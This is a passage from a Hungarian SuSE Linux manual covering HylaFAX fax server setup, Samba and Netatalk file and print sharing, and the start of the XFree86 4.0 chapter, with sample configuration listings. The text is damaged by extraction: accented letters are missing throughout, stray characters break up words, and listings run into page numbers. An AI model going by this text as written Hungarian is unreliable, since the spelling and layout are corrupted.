Long distance dialing prefix [1]? 0 International dialing prefix [011]? 00 Dial string rules file (relative to /var/spool/fax) ["etc/dialrules"]? Tracing during normal server operation [1]? 527 Default tracing during send and receive sessions [0xffffffff]? 527 Continuation cover page (relative to /var/spool/fax) []? etc/cover.templ Timeout when converting PostScript documents (secs) [180]? Maximum number of concurrent jobs to a destination [1]?

Define a class of modems []? "any" of day restrictions for outbound jobs ["Any"]? Time

Pathname of destination controls file (relative to /var/spool/fax) []? Timeout before purging stale UUCP a lock file (secs) [30]? Max number of pages to permit in an outbound job [0xffffffff]? 30 Syslog facility name for ServerTracing messages [daemon]?

Az adatok beadsa utn, megjelenik az szegezse annak, amit csak most adtunk be, amint ez a 6.10.2 kperny listban lthat. o
The non-default scheduler parameters are: CountryCode: AreaCode: LongDistancePrefix: InternationalPrefix: ServerTracing: ContCoverPage: MaxSendPages: ModemClass: SessionTracing: 49 911 0 00 527 etc/cover.templ 30 "any" 527

6.10.2 kperny lista: A HylaFAX temez (scheduler) belltsi plda sszeo o gezse A szerver belltsa Az temez belltsa utn, a faxsetup megkrdezi vajon be akarjuk-e o lltani a modemnket a faxaddmodem hasznlatval. Erre igen-t kell vlaszolnunk. Most, a soros vonal beadsra kerl, a teljes tvonal megadsa nlklcsak modem ha az a /dev/modem. 221

6. Kapcsolds a vilghoz s aztn hogyan tovbb?


Country code [49]? Area code [911]? Phone number of fax modem [+1.999.555.1212]? +49.911.123456 Local identification string (for TSI/CIG) ["NothingSetup"]? "SuSE GmbH" Long distance dialing prefix [0]? International dialing prefix [00]? Dial string rules file (relative to /var/spool/fax) ["etc/dialrules"]? Tracing during normal server operation [1]? 527 Tracing during send and receive sessions [11]? 527 Protection mode for received facsimile [0600]? 0644 Protection mode for session logs [0600]? Protection mode for modem [0600]? 0666 Rings to wait before answering [1]? Modem speaker volume [off]? Command line arguments to getty program ["-h %l dx_%s"]? "-r -b -s %s %l" Pathname of TSI access control list file (relative to /var/spool/fax) [""]? Pathname of Caller-ID access control list file (relative to /var/spool/fax) [""]? Tag line font file (relative to /var/spool/fax) [etc/lutRS18.pcf]? Tag line format string ["From %%l|%c|Page %%p of %%t"]? Time before purging a stale UUCP lock file (secs) [30]? Hold UUCP lockfile during inbound data calls [Yes]? UUCP lockfile during inbound Hold voice calls [Yes]? Percent good lines to accept during copy quality checking [95]? Max consecutive bad lines to accept during copy quality checking [5]? Max number of pages to accept in a received facsimile [25]? Syslog facility name for ServerTracing messages [daemon]? Set UID to 0 to manipulate CLOCAL [""]?

Az adott sszegezs a 6.10.3 kperny listban, a fenti belltsok beadsa o szerint kszlt. Ezzel befejeztk az temez s a szerver belltst. o Most vlaszthatunk, hogy vajon el akarjuk indtani a faxmodem-et minden egyes belltott modemhez. Ez egy alternatvja a faxgetty-nek, ami csakkld. Brmelyik megoldst vlaszthatjuk. 222

6.10. FAX-hasznlat Linuxon


The non-default server configuration parameters are: CountryCode: AreaCode: FAXNumber: LongDistancePrefix: InternationalPrefix: DialStringRules: ServerTracing: SessionTracing: RecvFileMode: DeviceMode: RingsBeforeAnswer: SpeakerVolume: GettyArgs: LocalIdentifier: TagLineFont: TagLineFormat: MaxRecvPages: 49 911 +49.911.123456 0 00 "etc/dialrules" 527 527 0644 0666 1 off "-r -b -s %s %l" "SuSE GmbH" etc/lutRS18.pcf "From %%l|%c|Page %%p of %%t" 25

6.10.3 kperny lista: Plda a HylaFAX szerver belltsra o Adaptive vlasz tmogats Van egy gyes kpessge a fax szervernek (faxgetty) az gynevezett "Adaptive vlasz tmogats", ami lehet v teszi a szervernek, hogy elindtson bro milyen getty-t a bejv hvs tpustl fgg en. Ez egy adathvs is lehet. o o Ahhoz, hogy ez m kdjn, gy z djnk meg rla, hogy a bejegyzs a 6.10.2 u o o fjllistban be van lltva (lsd a 6.10.4 . fejezetben (220. oldal)).
GettyArgs: "-r -b -s %s %l"

6.10.2 fjllista: Entry for Adaptive Answer Support Itt a %s helyettesti a DTE/DCE-t a modem s a gp kztt. Ez alapbl 38400 bps (bit per msodperc)-re van lltva. Nhny modem az USRobotics gyrttl nem tudja tmogatni ezt az rtket (lsd [Lef96a]) s tviteli hibt jelez. Ez elkerlhet a baud rate cskkentsvel (<ModemRate>) 19.200-ra o a megfelel modem belltsi fjlban. Az alaprtelmezett getty a mgetty o (mgetty , n (network support)). Ahhoz, hogy ez m kdjn, mdostau nunk kell az mgetty belltsi fjlt (/etc/mgetty+sendfax/mgetty. config) a 6.10.3 fjllistban megadott bejegyzsek hasznlatval.
port modem direct y toggle-dtr n

6.10.3 fjllista: Bejegyzs az mgetty belltsi fjlban 223

6. Kapcsolds a vilghoz s aztn hogyan tovbb? A kulcssz modem7 a modem eszkznk neve. Gy z djnk meg rla, hogy o o a faxgetty valamint az mgetty azonos eszkzt hasznlnak. Fax tirnyts Fax tirnyts (dispatching), a bejv faxok tkldse egy adott E-Mail o cmre. Ltre kell hoznunk egy etc/FaxDispatch fjlt a ServerRootknyvtrban. A 6.10.4 fjlista egy plda belltst mutat:
case "$SENDER" in *0815*) SENDTO=jancsi;; *) SENDTO=FaxMaster;; esac

6.10.4 fjllista: Egy plda a etc/FaxDispatch-re A bejv faxokat a TSI alapjn azonostjuk. A pldnkban, minden fax o 0815-el a TSI-jben automatikusan tovbbtsra kerl a jancsi felhasznlhoz E-Mail ltal (mint PostScript mellklet (attachment))8 . Tovbbiakban, minden bejv fax a FaxMaster-hez lesz tirnytva. o Ha brmilyen problmnk van a HylaFAX belltssal, nzzk meg a Tmogatsi Adatbzisban, susehilf , doc (Documentation). Adjuk be a kulcsszt "fax" s rengeteg hasznos informcit fogunk tallni ott.

7 8

Ha ez a /dev/modem, akkor ez a /dev/ttySx linkre utal. Megvltoztathatjuk a fjl formtumt a bin/faxrcvd mdostsval.

224

7. fejezet

Idegenek a lthatron: A Samba s a Netatalk


7.1 Tncoljunk Sambat...

Fordtotta: Vradi Istvn A samba-val (amit A NDREW T RIDGELL fejlesztett ki Ausztrliban), talakthatunk brmely UNIX gpet egy er s DOS / Windows fjl s nyomtat o kiszolglv. Az 1991-es kezdetek ta, a Samba bizonytottan stabil s megbzhat termk, ami kijrta a maga tjt az zleti vilgban, ahol a NetWare s Windows NT kiszolglk kiegszt jeknt, vagy ppen helyettest jeknt o o szolgl. 7.1.1 Bevezet o

A Samba mostanra egy teljesen kifejlesztett, s meglehet sen sszetett tero mk. Nem tudunk minden rszletvel foglalkozni ebben a knyvben, csak egy ttekintst nyjtunk rla. A /usr/share/doc/packages/samba alatt tallhatunk tbb dokumentumot, ami segthet felpteni sszetett hlzati megoldsokat a Sambaval. A Samba bellt fjlnak /etc/smb.conf sajt kziknyvoldala van smb.conf nven). A Samba egy SMB elnevezs (Server Message Block), Microsoft protokollt u hasznl. Minden gyflen azonban (pl. Windows 95 / 98 vagy NT gpek) a TCP/IP protokollt is aktivlni kell. A Samba az SMB protokollt a TCP/IP protokoll tetejre teszi. A TCP/IP alapbl teleptve van minden Windows gpen, aminek van Internet hozzfrse. Az SMB protokoll (Server Message Block) teszi elrhet v a fjl s nyomtat o szolgltatst a Windows-ban s a LAN Manager-ben. Az SMB protokoll a NetBIOS szolgltatson alapszik, s hasonl az NFS-hez. Itt nincs is klnbsg ms protokolloktl, mint amilyen a NetWare Core protokoll. A Novellel ellenttben, a Microsoft nyilvnossgra hozta az SMB protokollok specikciit, gy msok is tmogathatjk az SMB-t. A Teleptsi tmogats nem terjed ki a samba belltsra (lsd a A.1.2 . fejezetben (520. oldal)); azonban, mi rmmel segtnk, a kltsgkml o Professional Services szolgltatsunkon keresztl (lsd a A.3 . fejezetben (524. oldal)). 225

7. Idegenek a lthatron: A Samba s a Netatalk NetBIOS A NetBIOS egy szoftver interfsz (API), amit gpek kztti kommunikcira terveztek. Itt egy gynevezett nvszolgltatst (name service) nyjt. Ez lehet v teszi a hlzatra kapcsolt gpeknek, hogy fenntartsanak (reserve) neo veket maguknak. A rezervls utn, ezek a gpek megcmezhezt k a nevk o alapjn. Nincs kzponti eljrs, ami leellen rizn a neveket. Brmely gp a o hlzaton annyi nevet tarthat fenn magnak, amennyit csak akar, kivve, ha az a nv mr hasznlatban van. A NetBIOS interfsz klnbz hlzati architektrkhoz is megvalsthat. o Az egyik implementcit, ami viszonylag szorosan egyttm kdik a hlzati u hardverrel gy hvjk hogy NetBEUI , de gyakran gy hivatkoznak r, mint NetBIOS . Az egyedi csomagok cmzsekor, a NetBEUI az adapterek hardver cmvel dolgozik. Ellenttben az IPX vagy IP cmekt l, nem tudunk routing informo cit szerezni bel lk. Nem lehet routeren keresztl kldeni NetBEUI csomao gokat. Egy hlzat, amin a NetBEUI fut, le van cskkentve arra a mretre, amit az ismtl k (repeaters) s hidak (bridges) el tudnak rni. o Az IPX a Novell -t l s a TCP/IP olyan hlzati protokollok, melyet o NetBIOS-sal valstanak meg. A protokollt, ami a NetBIOS-t a TCP/IP fl helyezi az RFC 1001 s 1002 rja le. Az RFC 1001 egy j s rthet o bemutatst tartalmaz a NetBIOS elgondolsrl, ami igen nagy segtsgnkre lehet egy olyan szolgltats, mint a WINS megrtsben1 . A NetBIOS nevekben, amiket a TCP/IP-n keresztl kldnk, semmi kzs nincs a /etc/hosts alatti nevekkel vagy amiket a DNS denil. A NetBIOS a sajtjt hasznlja, teljesen fggetlen elnevezsi szablyokat. Javasoljuk azonban, hogy a DNS host neveknek megfelel neveket hasznljunk az o adminisztrls megknnytsre. Ezt hasznlja alaprtelmezsknt a Samba. gyfelek A DOS s a Windows 3.1-t l eltr en, minden jelenlegi PC opercis rendo o szer tmogatja az SMB protokollt, importlsra s exportlsra. A Windows for Workgroups tmogatja az SMB-t a sajt szabvny teleptsben, de csak IPX-en s NetBEUI-n keresztl. A Samba hasznlathoz, ami csak SMB-t nyjt TCP/IP-n keresztl, tovbbi szoftvert kell teleptennk, amit (ha szksges) megszerezhetnk az ftp://ftp.microsoft.com/bussys/Clients cmr l. o Az SMB kiszolglk hardver felletet nyjtanak gyfeleiknek az gynevezett megosztsokon (shares) keresztl. Egy megoszts tartalmaz egy knyvtrat s az alknyvtrait. Ez exportlva van a neve alapjn, s elrhet a neve o szerint. Termszetesen, megosztsnvnek bellthatunk brmely nevet. Nem kell, hogy az exportlt knyvtr neve legyen az. Egy nyomtatnak, szintn adnunk kell egy nevet. Az gyfelek a nyomtatt, a neve alapjn rik el.
1 A WINS nem ms mint egy kiterjesztett NetBIOS nvszolgltat (name server). Ez NEM a Microsoft tlete csak a nv j!

226

7.1. Tncoljunk Sambat... Jogosultsgok Egy NFS kiszolgl a /etc/exports-on keresztl van belltva. A hozzfrsi korltozsok csak gpszinten lehetsgesek. Az NFS-ben ennek van rtelme, mivel ezt UNIX munkallomsokra terveztk, amik maguk ellen ro zik a jogosultsgokat s az azonostst (authentication). m Windows-ban, ahol akrmelyik felhasznl megkaphatja a "root" jogosultsgot, az NFS protokoll nem igazn felel meg! Az NFS DOS gyfelet, egy risi biztonsgi lyuknak kell tekinteni! Az SMB protokoll a DOS vilgbl jtt s kzvetlenl lefedi a biztonsgi krdseket. Brmilyen hozzfrs egy megosztshoz, jelszval levdhet . Az o SMB kt alternatvt nyjt ehhez: Megoszts-szint biztonsg u Brmely megosztshoz kzvetlenl kijellhet egy jelsz. Brki, aki iso meri ezt a jelszt, hozzfrhet az adott megosztshoz. Felhasznl-szint biztonsg u Ez a vltozat bemutatja a felhasznl fogalmt az SMB-ben. A sajt login s jelsz hasznlatval minden felhasznlnak be kell jelentkeznie a kiszolglra. Sikeres bejelentkezs utn, a kiszolgl megadja a hozzfrst, a felhasznl jogosultsgaitl fgg en. o A megklnbztetst, a megoszts-szint s a felhasznl-szint biztonsg u u kztt a kiszolglra, mint egszre kell belltani. Nem lehet exportlni egyes megosztsokat, megoszts-szint biztonsggal, mg msokat, felhasznlu szint biztonsggal. u Alaprtelmezsknt, a Samba megoszts-szint biztonsgra van belltva. Itt u a felhasznlk home knyvtrai a norml felhasznli jelszval vannak levdve. Ms megosztsokhoz, egy felhasznlt kell megadni a user opci megadsa ltal, ami a felhasznli jelszval van levdve. A security paramtere megadhat, mint security = user az smb.conf fjlban. Ezutn a felhasznlk gy azonosthatk, mint normlisan a UNIX-ban, a /etc/passwd s a /etc/group hasznlatval. A Samba egy harmadik lehet sget is knl a security = server ltal. Ha ez az opci aktivlva o van, a Samba rvnyesti a felhasznlt egy msik (NT) kiszolgln, amit be kell lltani a password server opcival. 7.1.2 A kiszolgl teleptse

Az SMB szolgltats elindtshoz, lltsuk a <START_SMB> vltozt yes rtkre a /etc/rc.config fjlban (lsd a 3.6.12 . fejezetben (116. oldal)). Majdnem minden ami bellthat, az megtehet az smb.conf alatt. Ez a o fjl emlkeztet egy Windows .INI fjlra. Klnbz rszekre van osztva, s o mindegyik sajtos paramtereket tartalmaz. ltalban, egy megoszts lersa egy rsz, s a rsz neve ltal van meghatrozva. Van azonban hrom sajtos rsz is. Ezek a [globals], [homes] s a [printers]. A [globals] alatt, a belltott paramterek nem specikusak egy sajtos megosztsra. Ha a [homes] opci be van lltva, brmelyik felhasznl a szerveren, elrheti a 227

7. Idegenek a lthatron: A Samba s a Netatalk sajt home knyvtrt, anlkl, hogy meghatroznnk egy home-megosztst minden egyes felhasznlnak. Hasonl vonatkozik a nyomtatkra is. Minden nyomtat a /etc/printcap-ben elrhet , anlkl, hogy kln belltao nnk. Az smb.conf Egy egyszer pldafjlt lthatunk a 7.1.1 fjllista alatt. u
[global] workgroup = workgoup guest account = nobody keep alive = 30 os level = 2 security = share printing = bsd printcap name = /etc/printcap load printers = yes [sample] path = /home/sample comment = sample directory read only = no browseable = yes public = yes create mode = 0750 [cdrom] path = /cdrom comment = cdrom volume = "CD_ROM_label" read only = yes available = yes share modes = no browseable = yes public = yes [printers] comment = All Printers browseable = no printable = yes public = no read only = yes create mode = 0700 directory = /tmp

7.1.1 fjllista: Plda a /etc/smb.conf fjlra Ez a /etc/smb.conf hozzfrst nyjt a felhasznlk home knyvtraihoz ugyangy, mint az sszes nyomtathoz ami a /etc/printcap alatt van listzva. 228

7.1. Tncoljunk Sambat... workgroup = workgroup Brmely Windows gpen a Samba egy munkacsoportknt (workgroup) van kijellve, amit ltni lehet a hlzati krnyezetben ("network environment"). A workgroup az alaprtelmezett csoport a Windows for Workgroups szmra. guest account = nobody A Sambanak szksge van egy felhasznli nvre, ami benne van az /etc/password fjlban s csak korltozott jogosultsgai vannak bizonyos feladatokra. Ha a nyilvnos megosztsok (public shares) (paramtere public = yes) denilva van, minden m velet evvel a felhasznu li ID-vel kerl vgrehajtsra. Mg ha nincs is nyilvnos megoszts denilva, egy jogosultsgot guest account denilnunk kell a Samba gp szmra, hogy megjelenjen a hlzati krnyezetben. keep alive = 30 A Windows gpek id r l id re hajlamosak az sszeomlsra. Ha ezek nyioo o tott kapcsolatot hagynak maguk mgtt, el fordulhat, hogy a kiszolgl o csak sokkal ks bb veszi ezt szre. Ha nem akarjuk, hogy a Samba er o o forrsokat pazaroljon, megmondhatjuk neki, hogy ellen rizze, hogy a z o gyfl l-e mg, a keep alive = 30 belltssal. os level = 2 Az os level = 2 paramter hatrozza meg, hogy a Samba nyjtson bngsz (browser) szolgltatst a WfW s Windows 95-nek. Ha van o egy NT gp a hlzatban, a Samba nem fogja ezt a szolgltatst nyjtani nekik, hanem tengedi az NT gpnek ezt a feladatot. security = share Lsd a jogosultsgok rszt. A [sample] rsz meghatrozza az exportlsra kerl knyvtrak paramo tereit. Ez a knyvtr elrhet minden felhasznl szmra a hlzatban, mert o public = yes. Ugyanez igaz az exportlt /cdrom-ra is (ezen az ton, pldul, egy olcs zenedobozt (wurlitzer, vagy jukebox) lehet fellltani. Az albbi hrom paramter a /etc/printcap kiolvassra szolgl, s hogy exportljon brmely meghatrozott nyomtatt. A [homes] rsz, kijelli a paramtereket a home knyvtrak szmra. Ezek a knyvtrak a felhasznlk nevn keresztl rhet k el. o path = /home/sample A /home/sample knyvtr exportlsa a path rtelme szerint trtnik. comment = Sample Minden megoszts SMB kiszolglval, biztosthat egy megjegyzst (comment) a megoszts lersra. browsable = yes Ez a bellts lehet v teszi a megoszts sample-t, hogy lthat legyen o a hlzati krnyezetben. read only = no 229

7. Idegenek a lthatron: A Samba s a Netatalk Alaprtelmezsknt, a Samba megtiltja az rst az exportlt megosztsokra. A bejelentkezett felhasznlknak rsi jogosultsggal kell rendelkeznik a sajt home knyvtraikhoz, gy read only = no-t kell belltani. create mode = 750 A Windows gpek nem rtik meg a UNIX jogosultsgok fogalmt. gy azok nem tudnak kiadni jogosultsgokat, amikor egy fjlt hoznak ltre. A create mode paramter kijelli, hogy milyen jogosultsgokat kell hasznlniuk amikor egy j fjlt hoznak ltre. Van egy program is, a swat, a Samba kiszolgl adminisztrlsra. Ez egy egyszer web interfszt nyjt, amivel knyelmesen bellthatjuk a u Samba kiszolglt. Informcit err l a programrl a /usr/share/ o doc/packages/samba/htmldocs/swat.8.html alatt tallhatunk, vagy a man swat parancs segtsgvel. 7.1.3 gyfl teleptse

A DOS, Windows for Workgroups s a Windows 95 a legfontosabb gyfelek. Az gyfelek a Sambat csak a TCP/IP keresztl rhetik el. A NetBEUI s NetBIOS IPX-en t jelenleg mg nem rhet el. Mivel a TCP/IP egyre npszeo r bb vlik, mg Novellel s Microsofttal is, nem biztos, hogy ez egyltaln u vltozni fog a kzeljv ben. o Windows 95/98 Windows 95/98 mr beptett TCP/IP tmogatssal rendelkezik. A Windows for Workgroupsban azonban ez nincs alaprtelmezetten teleptve. A TCP/IP hozzadshoz menjnk a Vezrlpult (Control Panel), o Rendszer (System)-be s vlasszuk a Hozzads (Add), Protokollok (Protocols) TCP/IP from Microsoft-ot. Ellen rizzk, hogy a hlzati cmet s a hlzati maszkot megfelel en adtuko o e meg (lsd az 5 . fejezetben (153. oldal))! Windows gpnk jraindtsa utn, megtalljuk a megfelel en belltott samba kiszolglt a hlzatban (a o munkaasztalunkon kett t kattintva a hlzat ikonra). o A samba kiszolgln egy nyomtat hasznlathoz teleptennk kell a szabvny, vagy az Apple-PostScript nyomtat meghajtt a vonatkoz Windows verzibl; a legjobb ezt belncolni (link) a Linux nyomtat vrsorba (queue), amiben az automatikus apslter felismers mr benne van. 7.1.4 Optimalizls

Itt szeretnnk rmutatni mgegyszer, hogy a bemutatott bellts megfelel o egy magnfelhasznlnak, de nem zleti megoldsokra. A Professional Szolgltatsunk rmmel segt megoldani a krdseket ebben tmban (lsd az A.3 . fejezetben (524. oldal)). A szabvny bellts a /etc/smb.conf-ban nagyon lass. Itt van egy pr javaslat a felgyorstsra. 230

7.1. Tncoljunk Sambat... socket options = TCP_NODELAY A TCP/IP protokoll mindig megprbl fellelni (incorporate) szmos kis adatblokkot. Mivel a samba ezeken a kis adatblokkokon m kdik, kikapu csolhat ez a viselkeds az albbi opcival socket options = TCP_NODELAY. oplocks = yes Evvel az opcival az rsi krelmek (fjl mdostsok), csak akkor kerlnek vgrehajtsra, ha egy msik gyfl ugyanezt a fjlt olvasni akarja. Ezltal ez gy viselkedik, mint egy rsi cache. write raw = yes A Raw write lehet v tesz 65535 byte kldst egy csomagban s ez bizoo nyos esetekben jelent s teljestmny nvekedst nyjthat. Olcsbb hlo zati krtykkal azonban, taln jobb ezt az opcit write raw = no-ra belltani. read raw = yes Ugyanez a hatsa, mint a write raw = yes de ez csak a fjlok olvassrt felel s. o Tovbbi segtsg s sok tlet tallhat az optimalizlsra a /usr/share/doc/packages/samba/textdocs/Speed.txt s a /usr/share/doc/packages/samba/textdocs/Speed2.txt fjlokban.

231

7. Idegenek a lthatron: A Samba s a Netatalk

7.2

Netatalk: Beszlgess velem...

Fordtotta: Baksa Jozsef A netatalk csomaggal hatkony fjl- s nyomtatkiszolglt tudunk belltani az AppleShare klienshez. 7.2.1 A fjlkiszolgl kongurlsa

A szabvnyos kialaktsban a "Netatalk" mr teljes mrtkben egy fjlszerverknt m kdik azon felhasznlk szmra, akiknek belltottunk mr jou gosultsgot (account). Az sszes extenzv tulajdonsg hasznlata vgett szksges a belltsi fjlokban nhny belltst vgrehajtani. Ezeket a /etc/atalk knyvtrban talljuk. A szerver sajt magt indtja a 17.4 . fejezetben (460. oldal) lv szkripttel, vagy kzi indtssal a kvetkez pao o ranccsal:
meggyfa: # rcatalk start

A szerver indts kzbeni aktvlshoz a START_ATALK vltoz rtkt az /etc/rc.config fjlban yes-re kell lltani. Az init-szkript a /sbin/ init.d/atalk-ban tallhat. A start egy kis id t ignybe vesz, mert az o AppleTalk interfszt (csatolt) kell el szr belltani. o Minden belltsi fjl csupn egy text fjl. A sorok egy hash jellel (#) kezd dnek s az res sorokat gyelmen kvl hagyjk ("megjegyzsek"). o A /etc/atalk/atalkd.conf fjlban tudjuk meghatrozni, hogy milyen interfszen (csatoln) keresztl rhet ek el a szolgltatsok. ltalban o ennek rtke az eth0, amelyik az alaprtelmezett. Itt tovbbi interfszeket adhatunk meg, ha pldul klnbz hlzati krtykat aktvltunk. Mihelyt o a szerver elindult, a megfelel sorok mdosulnak s a belltott AppleTalk o hlzati cmek bejegyzsre kerlnek. A belltsi fjl tartalmaz tbb pldt, valamint tovbbi belltsok rhet k el a afpd kziknyv oldalain. o Az afpd.conf fjl hatrozza meg, hogyan jelenjen meg a szelekciban a fjlszerver. Ha itt semmit nem vltoztatunk meg, a gpnv ltszik a vlogatsban. Klnben egy fjlszerver itt elrhet v tehet ms nevek alatt, plo o dul "Nyilvnos/Kzs szerver"-knt (Public Server), amelyiken vendgknt menthetnk fjlokat. A hozzfrsi jogokat a Unixban szoksos felhasznl s csoport engedlyek alapjn hatrozzk meg. Ezeket az AppleVolumes. Default fjlban lltjuk be, amiben tbb kongurcis pldt is tallunk. Az AppleVolumes.System fjl megadja, hogy ez a fjlvgz ds milyen o tpus s milyen alkalmazs hozta ltre. Szmos alaprtk mr meg van adva ebben a fjlban. Ha a fjl egy ltalnos fehr ikonnal jelenik meg, akkor ez mg nem tartalmaz bejegyzst. Az 1. CD-n a Tools knyvtrban van egy kis AppleScript, amelyik a fjl rtkt mutatja. Hzzuk a fjlt a megfelel ikonnal a Macintosh-bl az AppleScript programba s ezek utn o jra kell indtanunk az AppleTalk fjlszervert. Ezt a kvetkez paranccsal o tehetjk meg:
meggyfa: # rcatalk restart

Miel tt ezt megtennnk, gy z djnk meg arrl, hogy az sszes aktv csatlao o o kozs a kliensekhez megszakadt. 232

7.2. Netatalk: Beszlgess velem... 7.2.2 A nyomtat szerver belltsa

A papd.conf fjlban a Laserwriter szolgltats rhet el. A nyomtatnak o mr helyileg m kdnie kell, az lpd parancsot hasznlva; ezrt gy lltsuk u be a nyomtatt, mint ahogy azt a 3.6.1 . fejezetben (104. oldal) lertuk. Ha helyben tudunk a lpr file.txt paranccsal nyomtatni, sikeresen tljutottunk az els lpsen. Ezutn rjuk be a nyomtatt a belltsi fjlba; Mint o ahogy a 7.2.1 fjllistn lthat.
Drucker_Empfang:pr=lp:pd=/etc/atalk/kyocera.ppd

7.2.1 fjllista: papd.conf Ett l a nyomtat a Drucker_Empfang nvvel jelenik meg a kivlasztso ban. A megfelel nyomtat ler fjl ltalban a keresked t l megszerezhet . o oo o Klnben egyszer en csak hasznlhatjuk a Laserwriter fjlt a Sysu temerweiterungen knyvtrbl; br ltalban nem tudjuk hasznlni az sszes, a nyomtat ltal knlt funkcit. A netatalk csomag ltal knlt sszes bellts elrse vgett ajnlatos elolvasnunk a megfelel kziknyv oldalakat. Ezeket az albbi paranccsal o talljuk meg:
meggyfa: # rpm -ql netatalk | grep man

Tovbbi rszletes informcik http://thehamptons.com/anders/netatalk/ http://www.umich.edu/~rsug/netatalk/ http://www.umich.edu/~rsug/netatalk/faq.html

233

7. Idegenek a lthatron: A Samba s a Netatalk

234

IV. rsz

Az X Window System

235

8. fejezet

Az X Window rendszer
Fordtotta: Csiszr Imre

8.1

Trtnelmi httr

Az X Window System a UNIX kvziszabvnyos grakus fellete. Valjban az X Window System sokkal tbb ennl az X11 egy hlzatalap rendszer. gy pl. a meggyfa nev gpen fut alkalmazsok kimenete megjelenthet u o az atlantisz nev gpen, feltve, hogy a kt gp hlzaton keresztl ssze u van ktve. Ez a hlzat lehet helyi hlzat (LAN), de az is lehetsges, hogy a kt gp tbb ezer kilomternyire van egymstl, s az Interneten keresztl vannak kapcsolatban. Az X11 kifejlesztse a DEC (Digital Equipment Corporation) s a MIT (Massachusetts Institute of Technology) Athena projektjnek kzs vllalkozsaknt indult. Az X11R1 els kiadsra 1987 szeptemberben kerlt sor. o A 6. kiadstl kezdve az X Window System fejlesztsrt az X Consortium, Inc. cg a felel s. o TM amely az X szerverek szabadon hozzfrhet implementciAz XFree86 o ja PC rendszerekre, egy maroknyi lelkes programoz munkja, akik 1992ben alaptottk meg az XFree86 teamet. Ez vezetett 1994-ben a The XFree86 Project ltrehozshoz, melynek clja az X11 tovbbi fejlesztse s elrhet v ttele a nyilvnossg szmra. o o o 2000. mrciusa ta a http://www.XFree86.org cmr l letlthet a teljesen trt j verzi, XFree86-4.0 nven. A SuSE Linux eleve tartalmazza az XFree86 86-4.0 csomagot. A tovbbiakban kzelebbr l is megvizsgljuk o az j verzit. A SuSE szeretne ksznetet mondani az XFree86 csapatnak a segtsgrt s a bta verzij szerverek CD lemeznkre ttelnek engedlyezsrt1 , mivel enlkl sokkal nehezebb lett volna a CD-k elksztse (ha egyltaln lehetsges lett volna...) A kvetkez kben az X-szerver belltst ismertetjk, ami korbban nagyon o bonyolult feladatnak szmtott. Ma viszont nagyszer eszkzk llnak rendelkezsre, amelyekkel az X Winu dow System belltsa a legtbb esetben nagyon egyszer . A kvetkez fejeu o
1 A jelen dokumentci egyes rszei a XFree86 Kongurieren cm fejezetb l[HHMK96] valk, u o melyet D IRK H OHNDEL bocstott rendelkezsnkre.

237

8. Az X Window rendszer zetekben lerjuk az erre a clra kifejlesztett SaX2 2 s az xf86cong programokat. A SaX2 -t az XFree86-4.0 belltshoz ksztettk el, mg a SaX az XFree86-3.3.x belltst vgzi el. A szvegalap xf86conggal ellenttben a kt SaX verzi kzvetlenl az X-szerverrel m kdik egytt, s egrrel u is lehet hasznlni oket. A legjobb teht, ha a YaST segtsgvel teleptjk a SaX (sax , x) vagy a SaX2 (sax2 , x) programot a hozzjuk tartoz csomagokkal egytt. Habr az XFree86-4.0 tartalmazza az sszes szksges grakai meghajtt, de az XFree86-3.3.x, s klnsen az xvga16 s ha mr ismert az X kiszolgl, amely a grakai krtynkhoz val, az xsrvben tartalmazza az X szerverek listjt (lsd mg a 3.4.3 . fejezetben (97. oldal)). Ha elfelejtettk kivlasztani valamelyik kiszolglt, akkor a SaX ezt szre fogja venni, s telepteni fogja a megfelel kiszolglt a YaST o segtsgvel. A grakai adapter s a monitor mg jobb kihasznlsa rdekben lehet sget o adtunk a belltsok optimalizlsra is. Tovbbi rszletek az X Window rendszerr l itt tallhatak: /usr/share/doc/packages/xf86. o Az X Window rendszer belltsakor nagyon vatosan jrjunk el! Soha ne indtsuk el az X Window rendszert addig, amg be nem fejeztk a belltst. A rendszer helytelen belltsa jvtehetetlenl krosthatja a hardvert (ez f leg x frekvencij monitorok esetn fordulhat el ). A jelen knyv o o szerz i s a SuSE nem tehet k felel ss a krrt. Az itt kzlt informcik o o o gondosan ellen rzttek, de ez nem jelent garancit arra, hogy a bemutatott o eljrsok hibtlanok, s nem krosthatjk a hardvert.

8.2

Az XFree86 j verzija, a 4.0.2

A SuSE Linux ezen verzija az XFree86 legjabb, 4.0.2-es verzijt tartalmazza, amely tbb szempontbl is klnbzik az eddig hasznlt 3.3.6-os verzitl. ltalban elmondhat, hogy a felhasznl szempontjbl alig van klnbsg az j grakai felletben. Az olyan alkalmazsok, mint pld. a KDE s a GNOME tovbbra is ugyangy m kdnek az j verzival, mint az eddig u hasznlt verzival. Milyen el nyei vannak az j verzinak? o Az j X kiszolgl tbb nem egy monolitikus program, hanem egy viszonylag kicsi vz, amihez ks bb brmikor hozz lehet adni a szksges programo modulokat. Pldul az el z verzikkal ellenttben nincs tbb sok klno o bz X kiszolgl a klnbz grakus krtykhoz, hanem csak egy futtato o hat program van XFree86 nven, amely az /usr/X11R6/bin alknyvtrban tallhat. Ez maga az X kiszolgl. A grakus meghajt, melynek feladata a grakus krtya irnytsa, egy betlthet modull vlt. o Hasonl mdon tmogatjk a klnbz bemeneti eszkzket, karakterkszo leteket s X protokollokat is. Ezek tovbbi klnll modulokbl llnak,
2 SaX : SuSE Advanced X Conguration Tool (Fejlett SuSE Kongurcis Eszkz Az XFree864.0 belltshoz szksges SaX2 (sax2) elavultt tette az XF86Setup (xfsetup , x).

238

8.2. Az XFree86 j verzija, a 4.0.2 amelyeket brmikor betlthet az X kiszolgl. Rendszerint nem kell klnsebb gyelmet fordtanunk ezekre a modulokra, mert a grakai fellethez szksges modulok belltst s m kdtetst amennyire csak tudja elu vgzi helyettnk a SaX2 . Ez a modularizltsg lehet v teszi a gyrt cgeknek, hogy sajt meghajo tt rjanak teljesen j grakus krtykhoz, vagy akr mg olyan egzotikus hardverhez is, mint pldul az rint kperny . A fejleszt k mg arrl is gono o o doskodtak, hogy a klnbz opercis rendszerekhez szksges modulokat o elg legyen csak egyszer rendelkezsre bocstani, mert pldul egy FreeBSD alatt lefordtott grakus meghajt ugyangy hasznlhat Linux alatt is, s fordtva. Ez a hordozhatsg azonban adott hardver architektrra korltozdik: egy Power PC processzoron fut Linux alatt lefordtott modult nem lehet Intel PC-n is hasznlni. Az egrtmogats szintn jelent sen fejl dtt. Az egrmutat klnsen o o nagy terhels esetn sokkal gyorsabban s kzvetlenebbl reagl egrmozgsokra, mint a korbbi XFree86 X kiszolglk esetben. ltalban elmondhat, hogy a kimeneti sebessg sokat 